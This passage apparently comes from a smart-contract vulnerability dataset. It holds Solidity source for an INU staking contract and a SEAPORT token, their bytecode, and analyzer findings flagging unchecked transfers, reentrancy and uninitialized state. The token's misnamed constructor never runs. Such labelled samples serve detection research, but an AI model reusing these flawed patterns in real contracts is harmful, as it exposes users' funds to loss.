inu.balanceOf(_msgSender()) >= _amount, "Insufficient Amount In Balance" ); Staker storage user = stakers[_msgSender()]; uint256 balanceNow = inu.balanceOf(address(this)); inu.transferFrom(_msgSender(), address(this), _amount); uint256 receivedBalance = inu.balanceOf(address(this)).sub(balanceNow); uint256 poolFee = receivedBalance.div(100); inu.transfer(devX, poolFee); receivedBalance = receivedBalance.sub(poolFee); user.stakedReward = getReward(_msgSender()); user.stakedBalance = user.stakedBalance.add(receivedBalance); user.stakedTimestamp = now; emit StakeINU(_msgSender(), receivedBalance); } function unstakeINU(uint256 _amount) external updateRewards { Staker storage user = stakers[_msgSender()]; require(_amount > 0, "No negative withdraw"); require( user.stakedBalance >= _amount, "Insufficient Amount in Balance" ); if (getReward(_msgSender()) > 0) { collectReward(); } else { user.stakedReward = getReward(_msgSender()); user.stakedTimestamp = now; } user.stakedBalance = user.stakedBalance.sub(_amount); if (inu.balanceOf(address(this)) < _amount) { inu.transfer(_msgSender(), inu.balanceOf(address(this))); } else { inu.transfer(_msgSender(), _amount); } emit UnstakeINU(_msgSender(), _amount); } function collectReward() public { Staker storage user = stakers[_msgSender()]; uint256 reward = getReward(_msgSender()); require(reward > 0, "No Rewards in Balance"); if (reward >= rewardToken.balanceOf(address(this))) { rewardToken.transfer( _msgSender(), rewardToken.balanceOf(address(this)) ); } else { rewardToken.transfer(_msgSender(), reward); } user.stakedReward = 0; user.stakedTimestamp = now; emit Collect(_msgSender(), reward); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806354c5aee1116100a2578063acec338a11610071578063acec338a146102ad578063c00007b0146102cc578063e28f50e8146102f2578063f7b2a7be1461030f578063f7c618c1146103175761010b565b806354c5aee11461023c578063679aefce1461024457806368772cc61461024c5780639168ae72146102695761010b565b806331509d4a116100de57806331509d4a146101b95780633a02a42d146101f25780634e309dc2146102185780634e69d560146102205761010b565b806306fdde03146101105780630b97bc861461018d5780630fb5a6b4146101a75780632dedf974146101af575b600080fd5b61011861031f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101956103ad565b60408051918252519081900360200190f35b6101956103b3565b6101b76103b9565b005b6101d6600480360360208110156101cf57600080fd5b5035610538565b604080516001600160a01b039092168252519081900360200190f35b6101956004803603602081101561020857600080fd5b50356001600160a01b031661055f565b6101d661057e565b61022861058d565b604080519115158252519081900360200190f35b6101b7610596565b61019561089d565b6101b76004803603602081101561026257600080fd5b5035610919565b61028f6004803603602081101561027f57600080fd5b50356001600160a01b0316610e00565b60408051938452602084019290925282820152519081900360600190f35b6101b7600480360360208110156102c357600080fd5b50351515610e20565b610195600480360360208110156102e257600080fd5b50356001600160a01b0316610ea2565b6101b76004803603602081101561030857600080fd5b5035611005565b610195611409565b6101d661140f565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103a55780601f1061037a576101008083540402835291602001916103a5565b820191906000526020600020905b81548152906001019060200180831161038857829003601f168201915b505050505081565b60065481565b60075481565b60025442600060015b83811161045a5760016000600260018403815481106103dd57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902060028054919350610444916104399190600019850190811061041f57fe5b6000918252602090912001546001600160a01b0316610ea2565b60018401549061141e565b60018084019190915560028301849055016103c2565b506003546001600160a01b031661046f611481565b6001600160a01b0316146104b5576040805162461bcd60e51b815260206004820152600860248201526727b7363c902232bb60c11b604482015290519081900360640190fd5b600554604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561050057600080fd5b505afa158015610514573d6000803e3d6000fd5b505050506040513d602081101561052a57600080fd5b505160085550504260065550565b6002818154811061054557fe5b6000918252602090912001546001600160a01b0316905081565b6001600160a01b0381166000908152600160205260409020545b919050565b6004546001600160a01b031681565b60005460ff1690565b6000600160006105a4611481565b6001600160a01b03166001600160a01b03168152602001908152602001600020905060006105d86105d3611481565b610ea2565b905060008111610627576040805162461bcd60e51b81526020600482015260156024820152744e6f205265776172647320696e2042616c616e636560581b604482015290519081900360640190fd5b600554604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561067257600080fd5b505afa158015610686573d6000803e3d6000fd5b505050506040513d602081101561069c57600080fd5b505181106107b5576005546001600160a01b031663a9059cbb6106bd611481565b600554604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561070857600080fd5b505afa15801561071c573d6000803e3d6000fd5b505050506040513d602081101561073257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561078357600080fd5b505af1158015610797573d6000803e3d6000fd5b505050506040513d60208110156107ad57600080fd5b506108429050565b6005546001600160a01b031663a9059cbb6107ce611481565b836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561081557600080fd5b505af1158015610829573d6000803e3d6000fd5b505050506040513d602081101561083f57600080fd5b50505b600060018301554260028301557f4256a058fa2b123d727576d3d31e3a272db98ee5fe264e229610ce43dc849999610878611481565b604080516001600160a01b039092168252602082018490528051918290030190a15050565b600554604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156108e857600080fd5b505afa1580156108fc573d6000803e3d6000fd5b505050506040513d602081101561091257600080fd5b5051905090565b60025442600060015b83811161099557600160006002600184038154811061093d57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190206002805491935061097f916104399190600019850190811061041f57fe5b6001808401919091556002830184905501610922565b5060005460ff166109db576040805162461bcd60e51b815260206004820152600b60248201526a4e6f74204163746976652160a81b604482015290519081900360640190fd5b60008411610a26576040805162461bcd60e51b81526020600482015260136024820152724e6f206e65676174697665207374616b696e6760681b604482015290519081900360640190fd5b60045484906001600160a01b03166370a08231610a41611481565b6040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610a7e57600080fd5b505afa158015610a92573d6000803e3d6000fd5b505050506040513d6020811015610aa857600080fd5b50511015610afd576040805162461bcd60e51b815260206004820152601e60248201527f496e73756666696369656e7420416d6f756e7420496e2042616c616e63650000604482015290519081900360640190fd5b600060016000610b0b611481565b6001600160a01b03166001600160a01b0316815260200190815260200160002090506000600460009054906101000a90046001600160a01b03166001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610b9157600080fd5b505afa158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b50516004549091506001600160a01b03166323b872dd610bd9611481565b30896040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050602060405180830381600087803b158015610c3157600080fd5b505af1158015610c45573d6000803e3d6000fd5b505050506040513d6020811015610c5b57600080fd5b505060048054604080516370a0823160e01b8152309381019390935251600092610ce49285926001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015610cb257600080fd5b505afa158015610cc6573d6000803e3d6000fd5b505050506040513d6020811015610cdc57600080fd5b505190611485565b90506000610cf38260646114c7565b600480546003546040805163a9059cbb60e01b81526001600160a01b03928316948101949094526024840185905251939450169163a9059cbb916044808201926020929091908290030181600087803b158015610d4f57600080fd5b505af1158015610d63573d6000803e3d6000fd5b505050506040513d6020811015610d7957600080fd5b50610d8690508282611485565b9150610d936105d3611481565b60018501558354610da4908361141e565b84554260028501557f820e8ea5b06396ba4589f1f0a8b9eda77d1bec49de485ab0ecd778413b72b176610dd5611481565b604080516001600160a01b039092168252602082018590528051918290030190a15050505050505050565b600160208190526000918252604090912080549181015460029091015483565b6003546001600160a01b0316610e34611481565b6001600160a01b031614610e79576040805162461bcd60e51b81526020600482015260076024820152662737ba102232bb60c91b604482015290519081900360640190fd5b60005460ff1615158115151415610e8f57600080fd5b6000805460ff1916911515919091179055565b6000610eac61165e565b506001600160a01b03808316600081815260016020818152604080842081516060810183528154815281850154818501819052600290920154818401529585529282526004805482516370a0823160e01b8152309281019290925291519596939591909316926370a08231926024808301939192829003018186803b158015610f3457600080fd5b505afa158015610f48573d6000803e3d6000fd5b505050506040513d6020811015610f5e57600080fd5b50519050610f6b8561055f565b1580610f7d5750600754600654014210155b80610f86575080155b80610f965750610f9461058d565b155b15610fa5575091506105799050565b82516040840151600090610fba904290611485565b600854909150610fd490610fce8484611509565b90611509565b600754909250610fee90610fe884866114c7565b906114c7565b9150610ffa848361141e565b979650505050505050565b60025442600060015b83811161108157600160006002600184038154811061102957fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190206002805491935061106b916104399190600019850190811061041f57fe5b600180840191909155600283018490550161100e565b50600060016000611090611481565b6001600160a01b03166001600160a01b031681526020019081526020016000209050600085116110fe576040805162461bcd60e51b81526020600482015260146024820152734e6f206e6567617469766520776974686472617760601b604482015290519081900360640190fd5b8054851115611154576040805162461bcd60e51b815260206004820152601e60248201527f496e73756666696369656e7420416d6f756e7420696e2042616c616e63650000604482015290519081900360640190fd5b60006111616105d3611481565b11156111745761116f610596565b61118b565b61117f6105d3611481565b60018201554260028201555b80546111979086611485565b815560048054604080516370a0823160e01b815230938101939093525187926001600160a01b03909216916370a08231916024808301926020929190829003018186803b1580156111e757600080fd5b505afa1580156111fb573d6000803e3d6000fd5b505050506040513d602081101561121157600080fd5b5051101561132b576004546001600160a01b031663a9059cbb611232611481565b60048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b15801561127e57600080fd5b505afa158015611292573d6000803e3d6000fd5b505050506040513d60208110156112a857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156112f957600080fd5b505af115801561130d573d6000803e3d6000fd5b505050506040513d602081101561132357600080fd5b506113b89050565b6004546001600160a01b031663a9059cbb611344611481565b876040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b505050506040513d60208110156113b557600080fd5b50505b7fb173fe7e7c608aac6d9e866bca4f535c1f94440efec7c42dea49942ed0db6a786113e1611481565b604080516001600160a01b039092168252602082018890528051918290030190a15050505050565b60085481565b6005546001600160a01b031681565b600082820183811015611478576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b3390565b600061147883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611562565b600061147883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f9565b6000826115185750600061147b565b8282028284828161152557fe5b04146114785760405162461bcd60e51b81526004018080602001828103825260218152602001806116806021913960400191505060405180910390fd5b600081848411156115f15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115b657818101518382015260200161159e565b50505050905090810190601f1680156115e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836116485760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156115b657818101518382015260200161159e565b50600083858161165457fe5b0495945050505050565b6040518060600160405280600081526020016000815260200160008152509056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212201d46872c35085a97751fd33713576adfc938c040e864c9c15dd72118fdb09fb164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,576
0x562f0c1d080be544b3095d02abcdb9786249a416
pragma solidity ^0.4.21 ; contract SEAPORT_Portfolio_V_883 { mapping (address => uint256) public balanceOf; string public name = " SEAPORT_Portfolio_V_883 " ; string public symbol = " SEAPORT883V " ; uint8 public decimals = 18 ; uint256 public totalSupply = 926816166179938000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_V_metadata_line_1_____Gelendzhgic_Port_Spe_Value_20230515 > // < YXkQDNBZ2zu8UeeGvNs229Bn1iF33hqm5y5tIZFt1g59oEKq265pVfErR1Aox8Yf > // < 1E-018 limites [ 1E-018 ; 19700512,1623823 ] > // < 0x00000000000000000000000000000000000000000000000000000000756C9A84 > // < SEAPORT_Portfolio_V_metadata_line_2_____Hatanga Port of Hatanga_Port_Spe_Value_20230515 > // < 5j5h1tnAZC78QQF951I0C0CK5GJ5MEVX7V5rjjIx4Qou6TJHj4v9u46059L7z10s > // < 1E-018 limites [ 19700512,1623823 ; 43633702,1775054 ] > // < 0x00000000000000000000000000000000000000000000000756C9A8410413C0DD > // < SEAPORT_Portfolio_V_metadata_line_3_____Igarka Port of Igarka_Port_Spe_Value_20230515 > // < sr3tm7GPzioBdFx7t50tv61m9o2ppn5j9SWc2x17Zmjp8r1f86A9HY2YTsO8kYNb > // < 1E-018 limites [ 43633702,1775054 ; 65764616,6539869 ] > // < 0x000000000000000000000000000000000000000000000010413C0DD187FCD955 > // < SEAPORT_Portfolio_V_metadata_line_4_____Igarka_Port_Authority_20230515 > // < 2t35ZxX6MAf3T5150lY4rySdrtNC7mRA1aTBo4D9yikHFn6FmhkIfKMp9qky7QWf > // < 1E-018 limites [ 65764616,6539869 ; 90138831,533778 ] > // < 0x0000000000000000000000000000000000000000000000187FCD95521944F305 > // < SEAPORT_Portfolio_V_metadata_line_5_____Igarka_Port_Authority_20230515 > // < o4Kkuu6ReZRdUhE8MGX4YyxLjlScxVUzTf0WkQ5oaRrBQ3qOAVw8g2y6uno51kF1 > // < 1E-018 limites [ 90138831,533778 ; 109686050,709904 ] > // < 0x000000000000000000000000000000000000000000000021944F30528DC7A382 > // < SEAPORT_Portfolio_V_metadata_line_6_____Irkutsk_Port_Spe_Value_20230515 > // < rjZc9xnDvoe7uz2EBkuMn8dZFfR6ZiBJc34Xg4O2S0D9t1ETd50a1Zsk6I7c7v49 > // < 1E-018 limites [ 109686050,709904 ; 133737440,63301 ] > // < 0x000000000000000000000000000000000000000000000028DC7A38231D2325B3 > // < SEAPORT_Portfolio_V_metadata_line_7_____Irtyshskiy_Port_Spe_Value_20230515 > // < 2rKI9jpPGp412RNJ5P28Fa273bFm23V3IUeWTNv1LaJ67KVChUsBE75fxn90M944 > // < 1E-018 limites [ 133737440,63301 ; 158208227,118916 ] > // < 0x000000000000000000000000000000000000000000000031D2325B33AEFE9AAB > // < SEAPORT_Portfolio_V_metadata_line_8_____Joint_Stock_Company_Nakhodka_Commercial_Sea_Port_20230515 > // < YAqvdHkws2m4q17pfOHheku5L77JaM59qZjIul6JI47u6D2ZU6Nc54Hp1WBFvGo4 > // < 1E-018 limites [ 158208227,118916 ; 183862710,319518 ] > // < 0x00000000000000000000000000000000000000000000003AEFE9AAB447E83D2B > // < SEAPORT_Portfolio_V_metadata_line_9_____Joint_Stock_Company_Nakhodka_Commercial_Sea_Port_20230515 > // < tJ5OM47V05P15J07Gp4gJge1dx2Tlx9RZgD0VMKsH2FMI4VwYIeoJuNazDplxjrm > // < 1E-018 limites [ 183862710,319518 ; 205261373,769363 ] > // < 0x0000000000000000000000000000000000000000000000447E83D2B4C7740214 > // < SEAPORT_Portfolio_V_metadata_line_10_____JSC_Arkhangelsk_Sea_Commercial_Port_20230515 > // < gSU3Yy9L15h8V2Zamj3yl4TwwyV6QI73vkc7WS7L5YN56cAKGAICYV28jRF7Qch3 > // < 1E-018 limites [ 205261373,769363 ; 225109272,426007 ] > // < 0x00000000000000000000000000000000000000000000004C774021453DC17F7E > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_V_metadata_line_11_____JSC_Arkhangelsk_Sea_Commercial_Port_20230515 > // < KV1oB572HUY4Xk1E14ELRQtCLUIm3ZuPTSamefuG2qUOyC9uiqCwGQ5T3QDp33T7 > // < 1E-018 limites [ 225109272,426007 ; 251274073,934363 ] > // < 0x000000000000000000000000000000000000000000000053DC17F7E5D9B5D115 > // < SEAPORT_Portfolio_V_metadata_line_12_____JSC_Azov_Sea_Port_20230515 > // < XkbShBP57CXHfK915s2IE8v7f73XPSQ1PJ924o25W48CcbRuGK8aU3A9qwOkZb4L > // < 1E-018 limites [ 251274073,934363 ; 275314628,366666 ] > // < 0x00000000000000000000000000000000000000000000005D9B5D11566900CAA8 > // < SEAPORT_Portfolio_V_metadata_line_13_____JSC_Azov_Sea_Port_20230515 > // < bXwXrUPCCe5M9v7rRND539u7S8e157DYf45iR8HQNYhsT4ol796KzaF6t82gQwI9 > // < 1E-018 limites [ 275314628,366666 ; 291639672,755782 ] > // < 0x000000000000000000000000000000000000000000000066900CAA86CA4ED51F > // < SEAPORT_Portfolio_V_metadata_line_14_____JSC_Novoroslesexport_20230515 > // < kfPEEdsGdZPb9Di9A16ewkSCWW3CH4wtCS5s0yZT3k6uAIGsy42vfS1nGZdB8Izx > // < 1E-018 limites [ 291639672,755782 ; 319651003,135844 ] > // < 0x00000000000000000000000000000000000000000000006CA4ED51F77144BB0D > // < SEAPORT_Portfolio_V_metadata_line_15_____JSC_Novoroslesexport_20230515 > // < 9dZTgYh202Bix5b95QA715fU8La2ZflCkE37i3dFkP8NNQLrYwVG1fgQBvaQ1yeo > // < 1E-018 limites [ 319651003,135844 ; 347486562,186463 ] > // < 0x000000000000000000000000000000000000000000000077144BB0D8172E6C4E > // < SEAPORT_Portfolio_V_metadata_line_16_____JSC_Yeysk_Sea_Port_20230515 > // < K0mcdlW9zI4vb6jbeHBxcCZ4k5p30UeqL3LvW1w4T2oI5wss3sljt1mPkf7pzyUJ > // < 1E-018 limites [ 347486562,186463 ; 372417716,896553 ] > // < 0x00000000000000000000000000000000000000000000008172E6C4E8ABC8589D > // < SEAPORT_Portfolio_V_metadata_line_17_____JSC_Yeysk_Sea_Port_20230515 > // < 4hzv7bE438KBW9O2i80yzCTF85bE1f1mjc5C4G76M59oa73l73seIR14QEd6212h > // < 1E-018 limites [ 372417716,896553 ; 395047810,385356 ] > // < 0x00000000000000000000000000000000000000000000008ABC8589D932AB20E2 > // < SEAPORT_Portfolio_V_metadata_line_18_____Kalach_na_Donu_Port_Spe_Value_20230515 > // < q9H2FNyT0KJIEsivGpTQI6Llqd81E52gG0974k7Q706YB4jFDC6XoLvJP4Y8mcil > // < 1E-018 limites [ 395047810,385356 ; 420592665,428759 ] > // < 0x0000000000000000000000000000000000000000000000932AB20E29CAED7BE2 > // < SEAPORT_Portfolio_V_metadata_line_19_____Kaliningrad Port of Kaliningrad_Port_Spe_Value_20230515 > // < 37kmnDOIUM5QAoPc2GD2TEoONOEBfJ6XFQbe12XuONLt0oP5lWnoyZcF09FjA73C > // < 1E-018 limites [ 420592665,428759 ; 439885667,552474 ] > // < 0x00000000000000000000000000000000000000000000009CAED7BE2A3DEC44D7 > // < SEAPORT_Portfolio_V_metadata_line_20_____Kaliningrad_Port_Authorities_20230515 > // < r9FZQn5OZq2Gn4L7gOji52YS072042X587hSR1RBmJsy7oEAP0hvvM0eDe60o6Hu > // < 1E-018 limites [ 439885667,552474 ; 463796200,156979 ] > // < 0x0000000000000000000000000000000000000000000000A3DEC44D7ACC70D8A3 > // Programme d&#39;&#233;mission - Lignes 21 &#224; 30 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_V_metadata_line_21_____Kaliningrad_Port_Authorities_20230515 > // < 9D2Rhw5xfZioCO27R3LsK3y3Xyss5OLqB5VvTgq67TM3poamVbVPozWwB6Mi38iB > // < 1E-018 limites [ 463796200,156979 ; 479007571,628296 ] > // < 0x0000000000000000000000000000000000000000000000ACC70D8A3B271B8E9E > // < SEAPORT_Portfolio_V_metadata_line_22_____Kaluga_Port_Spe_Value_20230515 > // < qcS0FPy2hoX85Fx4cWiM71K2i8RmPso96Vng94P5OLTqCic0l3R7Kf3gI9NSetWX > // < 1E-018 limites [ 479007571,628296 ; 500834058,449992 ] > // < 0x0000000000000000000000000000000000000000000000B271B8E9EBA9342208 > // < SEAPORT_Portfolio_V_metadata_line_23_____Kandalaksha Port of Kandalaksha_Port_Spe_Value_20230515 > // < 9oFcHMc50X9z9QwKKkBd6M7pxlj0GPtTV16tUo9drA3l76qykA6qHnzj8zH1cSLm > // < 1E-018 limites [ 500834058,449992 ; 521437883,921742 ] > // < 0x0000000000000000000000000000000000000000000000BA9342208C2403135C > // < SEAPORT_Portfolio_V_metadata_line_24_____Kandalaksha_Port_Spe_Value_20230515 > // < 20uHStHkNs3Ea19TO1o26C0BO4XPVp1J02N8mq9xLPg6psxcYsMZRw86y10qrCMh > // < 1E-018 limites [ 521437883,921742 ; 542573965,901628 ] > // < 0x0000000000000000000000000000000000000000000000C2403135CCA1FE2D62 > // < SEAPORT_Portfolio_V_metadata_line_25_____Kasimov_Port_Spe_Value_20230515 > // < 42Jw1A79tJSwOm3l2z13iE7e5P7r5h67SWso6zPZ20x4AT331Kd3GXT45FD0GQ57 > // < 1E-018 limites [ 542573965,901628 ; 558526527,143129 ] > // < 0x0000000000000000000000000000000000000000000000CA1FE2D62D0113DA9E > // < SEAPORT_Portfolio_V_metadata_line_26_____Kazan_Port_Spe_Value_20230515 > // < CO9b9HP9Dff9naRm9OH22M0DltaUCK67r1uLdig9mnS60Vru0FwVYh421liapKpz > // < 1E-018 limites [ 558526527,143129 ; 578673784,685111 ] > // < 0x0000000000000000000000000000000000000000000000D0113DA9ED792A2118 > // < SEAPORT_Portfolio_V_metadata_line_27_____Kerch_Port_Spe_Value_20230515 > // < Ww7Zj77mc61R12Hp6dX31pjRn82ypipj6ftXXulr3RpyYEb4gNHoO495swWtVVvo > // < 1E-018 limites [ 578673784,685111 ; 605692154,529751 ] > // < 0x0000000000000000000000000000000000000000000000D792A2118E1A34E3D0 > // < SEAPORT_Portfolio_V_metadata_line_28_____Kerchenskaya_Port_Spe_Value_20230515 > // < pXZJ4sHJ4WWV093KU4TO24b22N0J8a526v55qJdHwSE780xml258xHsa0U7ane1z > // < 1E-018 limites [ 605692154,529751 ; 630564105,210962 ] > // < 0x0000000000000000000000000000000000000000000000E1A34E3D0EAE74798D > // < SEAPORT_Portfolio_V_metadata_line_29_____Kerchenskaya_Port_Spe_Value_I_20230515 > // < JC2vK7Lm8ElVNCR3VxLl37Iw4s3U7s70Zx96ph87EVeRWxui1EVegd5gw36VQN53 > // < 1E-018 limites [ 630564105,210962 ; 659488743,286901 ] > // < 0x0000000000000000000000000000000000000000000000EAE74798DF5ADBF84C > // < SEAPORT_Portfolio_V_metadata_line_30_____Khanty_Mansiysk_Port_Spe_Value_20230515 > // < 4r084JmA9rT6z1BBZy6mPAy4mnOH4Oss51M0o8xFjNnpV0YP5FGVw99vR1247OFV > // < 1E-018 limites [ 659488743,286901 ; 682317572,146876 ] > // < 0x0000000000000000000000000000000000000000000000F5ADBF84CFE2EDFF92 > // Programme d&#39;&#233;mission - Lignes 31 &#224; 40 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < SEAPORT_Portfolio_V_metadata_line_31_____Kholmsk Port of Kholmsk_Port_Spe_Value_20230515 > // < 1r002CJdNKXPItWsGa1fhatGKLJA07B6P9Sx7xFu7h0fXxrG8EgwG2uD0u0ZV4Ts > // < 1E-018 limites [ 682317572,146876 ; 706113212,169304 ] > // < 0x000000000000000000000000000000000000000000000FE2EDFF921070C34374 > // < SEAPORT_Portfolio_V_metadata_line_32_____Kholmsk_Port_Spe_Value_20230515 > // < 3XUDiuo89221F5te0rnfhD29cTpKAB83Wf58i2h1ZonF4tEvw88xHgvp506BF6JH > // < 1E-018 limites [ 706113212,169304 ; 734858201,81138 ] > // < 0x000000000000000000000000000000000000000000001070C34374111C18A309 > // < SEAPORT_Portfolio_V_metadata_line_33_____Kolomna_Port_Spe_Value_20230515 > // < 5Sp4Js16d33nOw2SPTX1a0O6615GJ1o7MBJaztQ3A14TdYEnU8Y2y6emu84m7qX4 > // < 1E-018 limites [ 734858201,81138 ; 757553568,878122 ] > // < 0x00000000000000000000000000000000000000000000111C18A30911A35F04CB > // < SEAPORT_Portfolio_V_metadata_line_34_____Kolpashevo_Port_Spe_Value_20230515 > // < 79XmUAcxc80kAhm57jrZ37JwgN5RW8130xog67Av07xM8Fv0eJDhqQkwTHet44aj > // < 1E-018 limites [ 757553568,878122 ; 779877983,505221 ] > // < 0x0000000000000000000000000000000000000000000011A35F04CB12286F5F42 > // < SEAPORT_Portfolio_V_metadata_line_35_____Korsakov Port of Korsakov_Port_Spe_Value_20230515 > // < TolJTfwU9G20q5iQrLayFro93FuiV8BDepL10A0z8HeU6DJLYn3M6fukDFO6RMNl > // < 1E-018 limites [ 779877983,505221 ; 809465030,878833 ] > // < 0x0000000000000000000000000000000000000000000012286F5F4212D8C99FA3 > // < SEAPORT_Portfolio_V_metadata_line_36_____Korsakov_Port_Spe_Value_20230515 > // < 7aqR1m3ecejfZOh6kjeyVq03hP2aZ9W9HQBiIpmuxfrWa6H91RI0qtOq4FTZHW5Q > // < 1E-018 limites [ 809465030,878833 ; ] > // < 0x0000000000000000000000000000000000000000000012D8C99FA3134175714F > // < SEAPORT_Portfolio_V_metadata_line_37_____Krasnoyarsk_Port_Spe_Value_20230515 > // < 49Puo5T3813ASRt31G7LcBy6Ll4hr46K33mbUXp7hQ84yx7l08Dj97c1492Md112 > // < 1E-018 limites [ 827025938,83848 ; 851416004,493967 ] > // < 0x00000000000000000000000000000000000000000000134175714F13D2D5BAB5 > // < SEAPORT_Portfolio_V_metadata_line_38_____Kronshtadt Port of Kronshtadt_Port_Spe_Value_20230515 > // < X3MS55Qy634Q0H7HSSAp8C4zkg46yal5JYQ388T8zCFlAzDJ0UZ53AyD34W8M75E > // < 1E-018 limites [ 851416004,493967 ; 878206498,187373 ] > // < 0x0000000000000000000000000000000000000000000013D2D5BAB5147284C74E > // < SEAPORT_Portfolio_V_metadata_line_39_____Kronshtadt_Port_Spe_Value_20230515 > // < U35UY2rdGsCb4a3lKNJR186YAoAbCiPdzoT22Qnvsd03L1oQiUi73O2P40awjF4m > // < 1E-018 limites [ 878206498,187373 ; 905499642,938257 ] > // < 0x00000000000000000000000000000000000000000000147284C74E151532CFF9 > // < SEAPORT_Portfolio_V_metadata_line_40_____Labytnangi_Port_Spe_Value_20230515 > // < EhN9RPX63T7r306rI957iKzEiJ2piCNAjQ3i1491S8ap735lAzd09h5tfgefABbU > // < 1E-018 limites [ 905499642,938257 ; 926816166,179938 ] > // < 0x00000000000000000000000000000000000000000000151532CFF91594413EDD > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b60405180821